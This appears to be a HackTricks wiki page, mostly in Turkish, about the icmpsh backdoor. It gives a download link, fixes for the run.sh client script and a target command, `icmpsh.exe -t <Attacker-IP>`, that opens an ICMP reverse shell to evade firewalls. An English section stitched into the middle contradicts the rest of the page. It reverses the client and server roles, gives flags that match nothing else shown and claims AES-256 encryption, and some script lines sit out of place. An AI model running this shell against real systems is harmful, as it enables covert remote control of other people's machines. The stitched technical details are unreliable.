hacktricks/backdoors/icmpsh.md
2024-02-10 18:14:16 +00:00

5.1 KiB
Raw Blame History

AWS hackleme becerilerinizi sıfırdan kahraman seviyesine yükseltmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Arka kapıyı şuradan indirin: https://github.com/inquisb/icmpsh

İstemci tarafı

Komut dosyasını çalıştırın: run.sh

Hata alırsanız, aşağıdaki satırları değiştirmeyi deneyin:

IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')

ICMP Reverse Shell (icmpsh)

ICMP Reverse Shell (icmpsh) is a simple reverse shell that uses the Internet Control Message Protocol (ICMP) to establish a command and control (C2) channel between the attacker and the target machine. This technique allows the attacker to bypass firewalls and other network security measures that may be in place.

How it works

The icmpsh tool consists of two components: the client-side and the server-side. The client-side is executed on the attacker's machine, while the server-side is executed on the target machine.

  1. The client-side sends ICMP echo request packets to the target machine, containing the commands to be executed.
  2. The server-side receives the ICMP echo request packets and extracts the commands.
  3. The server-side executes the commands and sends the output back to the client-side in ICMP echo reply packets.
  4. The client-side receives the ICMP echo reply packets and displays the output to the attacker.

Usage

To use icmpsh, you need to have root privileges on the attacker's machine and the target machine must have ICMP echo request/reply enabled.

  1. Download and compile the icmpsh tool on both the attacker's machine and the target machine.
  2. Start the server-side on the target machine: ./icmpsh -s
  3. Start the client-side on the attacker's machine: ./icmpsh -c <target_ip>
  4. Once the connection is established, you can execute commands on the target machine through the client-side.

Features

  • Stealthy: ICMP traffic is often allowed through firewalls and is less likely to be detected.
  • Cross-platform: icmpsh is written in C and can be compiled and executed on various operating systems.
  • Encrypted communication: icmpsh supports encryption of the command and control channel using AES-256.

Limitations

  • Limited command execution: icmpsh is designed for simple command execution and does not support interactive shell sessions.
  • Network limitations: icmpsh may not work in environments where ICMP traffic is heavily filtered or blocked.
  • Detection: While icmpsh is stealthy, it can still be detected by advanced network monitoring tools.

References

echo Please insert the IP where you want to listen
read IP

Hedef Taraf

icmpsh.exe dosyasını hedefe yükle ve çalıştır:

icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları: